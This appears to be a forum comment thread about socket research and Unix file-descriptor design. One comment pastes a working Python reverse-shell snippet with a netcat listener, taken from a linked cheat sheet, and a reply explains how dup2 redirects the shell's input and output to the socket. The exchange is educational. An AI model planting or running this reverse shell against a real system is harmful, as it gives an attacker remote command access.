Hopefully this research spurs on others to create new implementations, because I bet that there are many improvements possible in the basic socket idea.
Hopefully this research spurs on others to create new implementations, because I bet that there are many improvements possible in the basic socket idea.
The fact that I/O is unified under file descriptors is a great abstraction and one of the key design points of Unix, although DJB makes a good point that there should have been two file descriptors for sockets: http://cr.yp.to/tcpip/twofd.html
I ran into a pretty neat usage of sockets as files the other day (http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-ch...)
However I am not exactly sure how this code works, but try it:
$ nc -l 127.0.0.1 1234
then:
#!/usr/bin/python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);
If someone can explain why exactly this works I'm interested. I mean I sort of get it but I am not sure how the socket descriptors can get mapped to stderr, stdout, stdin and everything works.dup2 will take one file descriptor and change it into another.
0 is STDIN's file descriptor by default in *nix (I believe this is standard POSIX, but i could be wrong). 1 is STDOUT, 2 is STDERR.
os.dup2 in this case is taking the file descriptor for the socket and placing it into STDIN, STDOUT, and STDERR.
At this point all the code that does anything with these will end up writing to the TCP socket instead.
When subprocess.call is used, it will inherit the parent's STDIN, STDOUT, and STDERR handles, in this case the TCP socket.
So when the shell tries to output anything it'll go to the TCP socket, when it tries to read it'll go to the TCP socket and get the information.
This is the same way that things like nohup work, by putting all the sockets to a file, the process doesn't get killed when the tty goes away, since it doesn't have one. It also grabs some of the signals from the child first also so the shell doesn't kill it directly.
As another example, Solaris has the event completion framework which is also available when using sockets:
https://blogs.oracle.com/barts/entry/entry_2_event_ports
So I wonder how much of this is the platform implementation they were testing instead of their new API? It's unclear from their presentation materials whether this is really just covering up for problems in the implementation.
I would have liked to have seen more test data comparing this work on multiple platforms.
These programs couldn't write directly to the port 22 TCP socket you use to connect, or their content wouldn't be encrypted or have the other various SSH beenfits.
Then you could have your system running as normal, but allowing your http server special access to network i/o. Any kernel hackers around who can comment?